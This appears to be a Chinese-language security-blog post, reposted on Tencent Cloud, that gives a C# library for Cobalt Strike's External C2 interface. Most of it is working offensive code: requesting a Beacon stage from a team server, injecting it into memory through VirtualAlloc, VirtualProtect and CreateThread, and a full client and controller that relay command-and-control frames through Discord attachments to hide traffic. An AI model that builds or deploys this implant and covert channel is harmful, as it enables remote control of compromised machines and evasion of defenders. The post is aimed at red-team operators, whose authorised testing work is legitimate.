首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >实现 Cobalt Strike 的外部 C2 规范的库

实现 Cobalt Strike 的外部 C2 规范的库

原创
作者头像
Khan安全团队
发布2021-12-29 14:49:00
发布2021-12-29 14:49:00
1.4K0
举报
文章被收录于专栏:Khan安全团队Khan安全团队

外部 C2

Cobalt Strike 具有接受第三方命令和控制的能力,允许运营商远远超出该工具默认提供的 HTTP、DNS、TCP 和 SMB 侦听器。在外部命令和控制规范发布在这里,我们将这篇文章中被大量引用它。如果您不熟悉外部 C2 的概念,请务必至少阅读论文中的概述部分。

协议

本文描述的协议的第一个方面是帧格式。

外部 C2 服务器和 SMB 信标对其帧使用相同的格式。所有帧都以 4 字节小端字节序整数开头。这个整数是帧内数据的长度。帧数据始终遵循此长度值。 2.1 帧数

基于此,我们可以设计一个结构体。我包含了一个构造函数作为创建新框架的简单方法,例如new C2Frame(a, b);

代码语言:javascript
复制
[StructLayout(LayoutKind.Sequential)]
public struct C2Frame
{
    public byte[] Length { get; }
    public byte[] Data { get; }

    public C2Frame(byte[] length, byte[] data)
    {
        Length = length;
        Data = data;
    }
}

该规范还指出,外部 C2 服务器和 Beacon 使用相同的帧格式,因此创建一些通用方法来处理它是有意义的。我把它变成了一个抽象类,以便其他类可以在以后继承它。

代码语言:javascript
复制
public abstract class BaseConnector
{
    protected abstract Stream Stream { get; set; }

    protected async Task<C2Frame> ReadFrame()
    {
        // read first 4 bytes
        // this is data length
        var lengthBuf = new byte[4];
        var read = await Stream.ReadAsync(lengthBuf, 0, 4);

        if (read != lengthBuf.Length)
            throw new Exception("Failed to read frame length");

        var expectedLength = BitConverter.ToInt32(lengthBuf, 0);

        // keep reading until we've got all the data
        var totalRead = 0;
        using var ms = new MemoryStream();
        do
        {
            var remainingBytes = expectedLength - totalRead;
            if (remainingBytes == 0)
                break;
            
            var buf = new byte[remainingBytes];
            read = await Stream.ReadAsync(buf, 0, remainingBytes);
            await ms.WriteAsync(buf, 0, read);
            totalRead += read;
        }
        while (totalRead < expectedLength);

        return new C2Frame(lengthBuf, ms.ToArray());
    }

    protected async Task WriteFrame(C2Frame frame)
    {
        await Stream.WriteAsync(frame.Length, 0, frame.Length.Length);
        await Stream.WriteAsync(frame.Data, 0, frame.Data.Length);
    }
}

要讨论的第一个方面是抽象的Stream属性。我假设我可以使用TcpClient类与外部 C2 服务器通信,使用NamedPipeClientStream类与 SMB Beacon 通信。TcpClient的NetworkStream和 NamedPipeClientStream 本身都继承自Stream,所以这看起来足够通用了。

WriteFrame方法很简单。它接受一个 C2Frame,将长度写入流,然后是数据。

ReadFrame方法是一个较长的,但在逻辑上还是相当简单的。我们首先读取流的前 4 个字节并将其转换为整数,因为我们知道这将为我们提供帧的数据长度。一旦我们有了这个长度,我们就继续从流中读取,直到我们读取了所有数据。

最初,我试图一口气阅读整个流,例如:

代码语言:javascript
复制
var dataBuf = new byte[expectedLength];
read = await Stream.ReadAsync(dataBuf, 0, expectedLength);

但是,我遇到了readexpectedLength不匹配的问题。我的假设是在外部 C2 服务器完成写入之前我正在从流中读取。所以相反,我进入一个循环,直到读取了预期的字节数。

控制器

控制器的角色是在外部 C2 服务器和第三方客户端之间中继数据。

当需要新会话时,第三方控制器连接到外部 C2 服务器。与外部 C2 服务器的每个连接服务一个会话。 3.2 第三方客户端控制器

规范告诉我们应该为每个新的 Beacon 会话建立一个到外部 C2 服务器的新连接。为此,我创建了一个类来处理诸如连接之类的新实例。我决定创建一个接口,使开发人员可以根据需要创建自己的实现。

代码语言:javascript
复制
public interface ISessionController
{
    /// <summary>
    /// Configure the connection options for this controller
    /// </summary>
    /// <param name="serverAddress"></param>
    /// The IP address of the Cobalt Strike Team Server.
    /// <param name="serverPort"></param>
    /// The port of the External C2 listener.
    /// <param name="block"></param>
    /// A time in milliseconds that indicates how long the External C2 server should block when no new tasks are
    /// available. Once this time expires, the External C2 server will generate a no-op frame.
    void Configure(IPAddress serverAddress, int serverPort = 2222, int block = 100);

    /// <summary>
    /// Initialise the connection to the External C2 server.
    /// </summary>
    /// <returns></returns>
    Task<bool> Connect();

    /// <summary>
    /// The	architecture of the payload stage. Default's to x86.
    /// </summary>
    /// <param name="pipeName"></param>
    /// The named pipe name.
    /// <param name="arch"></param>
    /// The	architecture of the payload	stage.
    /// <returns>A byte array of the SMB Beacon stage.</returns>
    Task<byte[]> RequestStage(string pipeName, Architecture arch = Architecture.x86);

    /// <summary>
    /// Send a frame to the External C2 server.
    /// </summary>
    /// <param name="frame"></param>
    /// <returns></returns>
    Task WriteFrame(C2Frame frame);

    /// <summary>
    /// Read a frame from the External C2 server.
    /// </summary>
    /// <returns></returns>
    Task<C2Frame> ReadFrame();
}

让我们从Configure方法开始。这无非是设置了一些稍后会用到的私有字段。您还会注意到我让这个类继承了ISessionControllerBaseConnector抽象。

代码语言:javascript
复制
public class SessionController : BaseConnector, ISessionController
{
    protected override Stream Stream { get; set; }

    private IPAddress _server;
    private int _port;
    private int _block;

    public void Configure(IPAddress server, int port = 2222, int block = 100)
    {
        _server = server;
        _port = port;
        _block = block;
    }
}

连接方法将创建的新实例的TcpClient,并尝试连接到在上获得通过的IP和端口配置方法。如果连接成功,我们抓取底层流并设置Stream属性。

代码语言:javascript
复制
public async Task<bool> Connect()
{
    var tcpClient = new TcpClient();
    await tcpClient.ConnectAsync(_server, _port);

    if (tcpClient.Connected)
        Stream = tcpClient.GetStream();

    return tcpClient.Connected;
}

WriteFrameReadFrame只会调用 BaseConnector 抽象上的相应方法。

代码语言:javascript
复制
public new async Task WriteFrame(C2Frame frame)
{
    await base.WriteFrame(frame);
}

public new async Task<C2Frame> ReadFrame()
{
    return await base.ReadFrame();
}

真正有趣的部分是从外部 C2 服务器请求一个新的 Beacon 阶段。

为了配置有效载荷阶段,控制器可以写入一个或多个包含键=值字符串的帧。这些框架将填充会话的选项。外部 C2 服务器不确认这些帧。 3.2 第三方客户端控制器

选项是archpipenameblock(有关它们的含义的描述,请参阅论文)。

发送完所有选项后,第三方控制器会写入一个包含字符串 go 的帧。这告诉外部 C2 服务器发送有效负载阶段。 3.2 第三方客户端控制器

所以请求看起来像:

arch=x64” “pipename=foobar” “block=100” “go

为了更容易地从这种格式生成帧,我向 C2Frame 结构添加了一个静态方法。

代码语言:javascript
复制
public static C2Frame Generate(string key, string value = "")
{
    var bytes = Encoding.UTF8.GetBytes(!string.IsNullOrWhiteSpace(value)
        ? $"{key}={value}"
        : key);

    var length = BitConverter.GetBytes(bytes.Length);
    
    return new C2Frame(length, bytes);
}

现在我们可以填充RequestStage方法。

代码语言:javascript
复制
public async Task<byte[]> RequestStage(string pipeName, Architecture arch)
{
    switch (arch)
    {
        case Architecture.x86:
            await WriteFrame(C2Frame.Generate("arch", "x86"));
            break;
        
        case Architecture.x64:
            await WriteFrame(C2Frame.Generate("arch", "x64"));
            break;
        
        default:
            throw new ArgumentOutOfRangeException(nameof(arch), arch, null);
    }

    await WriteFrame(C2Frame.Generate("pipename", pipeName));
    await WriteFrame(C2Frame.Generate("block", $"{_block}"));
    await WriteFrame(C2Frame.Generate("go"));

    var frame = await ReadFrame();
    return frame.Data;
}

在这一点上,我们有一个完整的 SMB Beacon 阶段作为需要发送到第三方客户端的 byte[]。

客户

第三方客户端应该从第三方控制器接收 Beacon 负载阶段。有效载荷阶段是一个反射 DLL,它的头被修补以使其自引导。正常的进程注入技术将用于运行此有效负载阶段。 一旦有效负载阶段运行,第三方客户端应该连接到它的命名管道服务器。 第三方客户端现在必须从 Beacon 命名管道连接读取帧。一旦该帧被读取,第三方客户端必须将此帧中继到第三方控制器进行处理。 3.3 第三方客户端

我创建了一个类似的界面来处理这些交互。

代码语言:javascript
复制
public interface IBeaconController
{
    /// <summary>
    /// Configure the Beacon Controller
    /// </summary>
    /// <param name="pipeName"></param>
    /// The Beacons pipe name
    void Configure(string pipeName);
    
    /// <summary>
    /// Inject the Beacon stage into memory
    /// </summary>
    /// <param name="stage"></param>
    /// <returns></returns>
    bool InjectStage(byte[] stage);

    /// <summary>
    /// Connect to the injected Beacon
    /// </summary>
    /// <returns></returns>
    Task<bool> Connect();
    
    /// <summary>
    /// Send a frame to the External C2 server.
    /// </summary>
    /// <param name="frame"></param>
    /// <returns></returns>
    Task WriteFrame(C2Frame frame);

    /// <summary>
    /// Read a frame from the External C2 server.
    /// </summary>
    /// <returns></returns>
    Task<C2Frame> ReadFrame();
}

和实现(此时这应该是不言自明的):

代码语言:javascript
复制
public class BeaconController : BaseConnector, IBeaconController
{
    protected override Stream Stream { get; set; }
    
    private string _pipeName;

    public void Configure(string pipeName)
    {
        _pipeName = pipeName;
    }

    public bool InjectStage(byte[] stage)
    {
        // allocate memory
        var address = Win32.VirtualAlloc(
            IntPtr.Zero,
            (uint)stage.Length,
            Win32.AllocationType.MEM_RESERVE | Win32.AllocationType.MEM_COMMIT,
            Win32.MemoryProtection.PAGE_READWRITE);
        
        // copy stage
        Marshal.Copy(stage, 0, address, stage.Length);
        
        // flip memory protection
        Win32.VirtualProtect(
            address,
            (uint)stage.Length,
            Win32.MemoryProtection.PAGE_EXECUTE_READ,
            out _);
        
        // create thread
        Win32.CreateThread(
            IntPtr.Zero,
            0,
            address,
            IntPtr.Zero,
            0,
            out var threadId);

        return threadId != IntPtr.Zero;
    }

    public async Task<bool> Connect()
    {
        var pipeClient = new NamedPipeClientStream(_pipeName);

        // 30 second timeout
        var tokenSource = new CancellationTokenSource(new TimeSpan(0, 0, 30));
        await pipeClient.ConnectAsync(tokenSource.Token);

        if (pipeClient.IsConnected)
            Stream = pipeClient;

        return pipeClient.IsConnected;
    }

    public new async Task WriteFrame(C2Frame frame)
    {
        await base.WriteFrame(frame);
    }

    public new async Task<C2Frame> ReadFrame()
    {
        return await base.ReadFrame();
    }
}

在这一点上,我们拥有了所有的组成部分。客户端和控制器只需要在 Beacon 和外部 C2 服务器之间中继帧。控制器和客户端如何通信完全取决于操作员(因为这几乎是重点......)。

在我构建测试客户端和控制器时,我认为如果有一种简单的方法将 C2Frames 转换为原始字节 [] 或 base64 编码的字符串会很有帮助。我回去将以下方法添加到 C2Frame 结构中。

代码语言:javascript
复制
public byte[] ToByteArray()
{
    var buf = new byte[Length.Length + Data.Length];
    Buffer.BlockCopy(Length, 0, buf, 0, Length.Length);
    Buffer.BlockCopy(Data, 0, buf, Length.Length, Data.Length);

    return buf;
}

public static C2Frame FromByteArray(byte[] frame)
{
    var dataLength = frame.Length - 4;
    
    var length = new byte[4];
    var data = new byte[dataLength];
    
    Buffer.BlockCopy(frame, 0, length, 0, 4);
    Buffer.BlockCopy(frame, 4, data, 0, dataLength);

    return new C2Frame(length, data);
}

public static C2Frame FromBase64String(string frame)
{
    return FromByteArray(Convert.FromBase64String(frame));
}

public string ToBase64String()
{
    return Convert.ToBase64String(ToByteArray());
}

如果您正在进行单元测试(您应该这样做),您可以像这样测试它们:

代码语言:javascript
复制
[Fact]
public void ConvertFrameToByteArray()
{
    var length =  BitConverter.GetBytes(20);
    var data = new byte[20];
    
    using var rng = RandomNumberGenerator.Create();
    rng.GetNonZeroBytes(data);

    var originalFrame = new C2Frame(length, data);
    var frameBytes = originalFrame.ToByteArray();
    var newFrame = C2Frame.FromByteArray(frameBytes);
    
    Assert.Equal(newFrame.Length, originalFrame.Length);
    Assert.Equal(newFrame.Data, originalFrame.Data);
}

示例用法

我将使用创建的库编写第三方控制器和客户端,以在 Discord 上执行 C2(不是原创,但证明了这个想法)。我已经删除了 Discord 特定的代码,所以我们可以只关注外部 C2 部分。

客户端中的第一步是生成一个字符串以用作命名管道名称,然后向控制器发送某种通知,告知您需要 Beacon 阶段。您如何处理客户端和控制器之间的交互完全取决于开发人员。

代码语言:javascript
复制
private static async Task Main(string[] args)
{
    await ConnectToDiscord();
    
    // generate a random guid
    var beaconGuid = Guid.NewGuid().ToString();

    // send stage request
    await _channel.SendMessageAsync($"NewBeacon:{beaconGuid}:{Arch}");
}

private static string Arch => IntPtr.Size == 8 ? "x64" : "x86";

控制器为新的 Discord 消息注册了一个事件,因此它可以在客户端发布消息后立即响应。它将解析该消息,为该 Beacon 创建一个新的 SessionController,并生成一个新阶段。Discord 对消息有 2000 个字符的限制,因此 base64 编码的消息通常太大。相反,您可以将回复作为文件附件上传。

代码语言:javascript
复制
// parse mesage from new Beacon client
var split = e.Message.Content.Split(':');
var beaconGuid = Guid.Parse(split[1]);

var arch = split[2].Equals("x64")
    ? Architecture.x64
    : Architecture.x86;

// create a new SessionController for this Beacon
// connect to it and add it to a Dictionary to track
var controller = new SessionController();
controller.Configure(IPAddress.Parse(_server), _port);

if (!await controller.Connect())
    return;

// request a new Beacon stage
var stage = await controller.RequestStage(beaconGuid.ToString(), beaconArch);

// Upload to Discord as a file
await using var ms = new MemoryStream(stage);
var b = new DiscordMessageBuilder();
b.WithFile("stage.bin", ms);

await message.RespondAsync(b);

然后客户端可以获取响应,从中提取阶段并删除消息。有了舞台,我们可以创建它的 BeaconController,然后注入并连接到命名管道。

代码语言:javascript
复制
var stage = await _http.GetByteArrayAsync(stageMessage.Url);
await DeleteMessages(messages);

var beacon = new BeaconController();
beacon.Configure(guid);

if (!beacon.InjectStage(stage))
    throw new Exception("Failed to inject stage");

if (!await beacon.Connect())
    throw new Exception("Failed to connect to named pipe");

然后我们进入一个循环,其中客户端从 Beacon 读取帧,将其发送到 Controller,从 Controller 获取响应帧,将该帧写入 Beacon,依此类推。

代码语言:javascript
复制
while (true)
{
    // get frame from beacon
    // the first frame after injection is always the Beacon's metadata
    var beaconFrame = await beacon.ReadFrame();

    // send to Discord
    using var ms = new MemoryStream(beaconFrame.ToByteArray());
    var b = new DiscordMessageBuilder { Content = beaconGuid };
    b.WithFile("frame.bin", ms);
    
    await _channel.SendMessageAsync(b);

    // read response
    var messages = await _channel.GetMessagesAsync();

    // latest reply is always the first message
    var reply = messages[0];

    var frameBytes = await _http.GetByteArrayAsync(reply.Attachments[0].Url);
    var serverFrame = C2Frame.FromByteArray(frameBytes);

    // send frame to beacon
    await beacon.WriteFrame(serverFrame);

    // delete messages
    await DeleteMessages(messages);
}

在控制器端,我从消息内容中提取信标的 GUID,从我的字典中获取匹配的 SessionController,写入框架,读出框架,然后将其发送回 Discord。

代码语言:javascript
复制
// if message content is not a guid, ignore
if (!Guid.TryParse(e.Message.Content, out beaconGuid))
    return;

// read the frame from the message
var frameBytes = await _client.GetByteArrayAsync(e.Message.Attachments[0].Url);
var beaconFrame = C2Frame.FromByteArray(frameBytes);

// grab the SessionController for this Beacon
var controller = Sessions[beaconGuid];

// write the frame to the External C2 server
await controller.WriteFrame(beaconFrame);

// read the response frame
var serverFrame = await controller.ReadFrame();

// send the response frame to Discord
await using var ms = new MemoryStream(serverFrame.ToByteArray());
var b = new DiscordMessageBuilder();
b.WithFile("frame.bin", ms);

await e.Message.RespondAsync(b);

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 外部 C2
    • 协议
    • 控制器
    • 客户
  • 示例用法
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档